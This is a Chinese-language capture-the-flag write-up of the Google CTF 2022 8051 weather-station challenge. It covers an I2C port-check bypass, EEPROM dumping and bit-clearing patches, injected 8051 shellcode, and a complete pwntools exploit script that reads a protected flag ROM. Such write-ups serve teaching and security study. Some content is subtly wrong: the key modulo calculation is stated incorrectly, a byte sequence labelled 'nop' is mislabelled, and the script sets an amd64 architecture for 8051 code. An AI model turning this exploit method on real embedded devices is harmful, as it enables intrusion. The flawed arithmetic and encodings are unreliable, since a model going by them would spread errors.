GoogleCTF2022:PWN掉一款8051气象站
字数 1308 2025-08-06 21:48:53
Google CTF 2022: 8051气象站漏洞利用教学文档
1. 题目概述
这是一个基于8051微控制器的气象站系统,需要通过漏洞利用读取片内ROM中的flag。系统包含以下组件:
- 带256字节片内ROM的8051芯片
- I2C总线连接的5个传感器(湿度、光线x2、气压、温度)
- I2C总线连接的EEPROM(用作运行时内存)
2. 硬件架构分析
2.1 特殊功能寄存器地址
// Secret ROM控制器
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// 串口控制器
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;
// I2C DMA控制器
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS; // 7-bit地址
__sfr __at(0xe7) I2C_READ_WRITE;
// 电源控制器
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;
2.2 命令接口
系统通过串口接收两种命令:
- 读操作:
r [allowed port] [length] - 写操作:
w [allowed port] [length] [int8] [int8] [int8]...
3. 漏洞分析
3.1 端口检查漏洞
系统允许的I2C端口列表:
const char *ALLOWED_I2C[] = {
"101", // 温度传感器(4x)
"108", // 气压传感器
"110", // 光线传感器A
"111", // 光线传感器B
"119", // 湿度传感器
NULL
};
漏洞点:
is_port_allowed()只比较端口字符串的前三个字符str_to_uint8()会对输入值进行模256运算
利用方式:101120+p 等同于 p 号端口,因为:
101120 mod 256 = 101120 - 256*395 = 120- 前三个字符是"101"通过检查
3.2 EEPROM结构
根据datasheet,EEPROM (CTF-55930D) 有:
- 64页
- 每页64字节
- 总容量:4KB
切换页的方法:写入pageIndex和0xa5 0x5a 0xa5 0x5a四个字节
4. 漏洞利用步骤
4.1 端口探测
通过101120+0到101120+127扫描所有端口,发现:
- 33号端口:EEPROM
- 101号端口:温度传感器
- 108号端口:气压传感器
- 110号端口:光线传感器A
- 111号端口:光线传感器B
- 119号端口:湿度传感器
4.2 EEPROM转储
使用以下方法转储整个EEPROM:
- 切换页:
w 101153 5 [page] 165 90 165 90 - 读取页:
r 101153 64
Python脚本示例:
for i in range(64):
p.sendlineafter('? ', 'w 101153 5 ' + str(i) + ' 165 90 165 90')
p.sendlineafter('? ', 'r 101153 64')
4.3 EEPROM修改特性
EEPROM只能通过clearmask方式修改:
- 可以将1置0,但不能将0置1
- 例如:
0xc7可以改为0xc0,但不能改为0xb5
4.4 控制流劫持
- 找到合适的跳转点:
0xFA处的ljmp指令 - 修改
0x13 0xbf 0x03为0x02 0x0a 0x03(跳转到0xa03) - 在
0xa03处部署shellcode
Shellcode示例:
mov DPTR, #0x8ED
mov B, #0x80
ljmp 0x114 ; 返回原控制流
4.5 读取FlagROM
FlagROM读取方法:
- 设置
FLAGROM_ADDR为0-255 - 读取
FLAGROM_DATA并发送到SERIAL_OUT_DATA
C代码示例:
FLAGROM_ADDR = 0;
while(FLAGROM_DATA) {
while(!SERIAL_OUT_READY); // 等待
SERIAL_OUT_DATA = FLAGROM_DATA;
FLAGROM_ADDR = FLAGROM_ADDR + 1;
}
5. 完整利用脚本
from pwn import *
context.arch = 'amd64'
HOST = 'weather.2022.ctfcompetition.com'
PORT = 1337
p = remote(HOST, PORT)
def pwn():
# 切换页
p.sendlineafter('? ', 'w 101153 5 3 165 90 165 90')
p.sendlineafter('? ', 'r 101153 64')
# 修改控制流
shellcode = [
0x75, 0xEE, 0x00, # mov FLAGROM_ADDR, 0
0xE5, 0xEF, # mov A, FLAGROM_DATA
0x60, 0x0F, # jz exit
0xE5, 0xF3, # mov A, SERIAL_OUT_READY
0x60, 0xFC, # jz wait
0x85, 0xEF, 0xF2, # mov SERIAL_OUT_DATA, FLAGROM_DATA
0xE5, 0xEE, # mov A, FLAGROM_ADDR
0xFF, # mov R7, A
0x04, # inc A
0xF5, 0xEE, # mov FLAGROM_ADDR, A
0x80, 0xED, # sjmp loop
0x90, 0x00, 0x00, # nop
0x02, 0x01, 0x14 # ljmp 0x114 (返回)
]
# 构造写入命令
payload = 'w 101153 ' + str(len(shellcode)+8) + ' 40 165 90 165 90 0 0 255'
for byte in shellcode:
payload += ' ' + str(byte ^ 255)
p.sendlineafter('? ', payload)
p.sendlineafter('? ', 'r 101168 64')
p.interactive()
if __name__ == "__main__":
pwn()
6. 关键知识点总结
- 端口检查绕过:利用字符串比较和模运算特性实现任意端口访问
- EEPROM操作:理解页切换机制和clearmask修改限制
- 控制流劫持:在8051架构上通过修改跳转指令实现代码执行
- FlagROM读取:通过特殊功能寄存器直接访问受保护的ROM区域
通过以上步骤,可以成功读取气象站系统中的flag数据。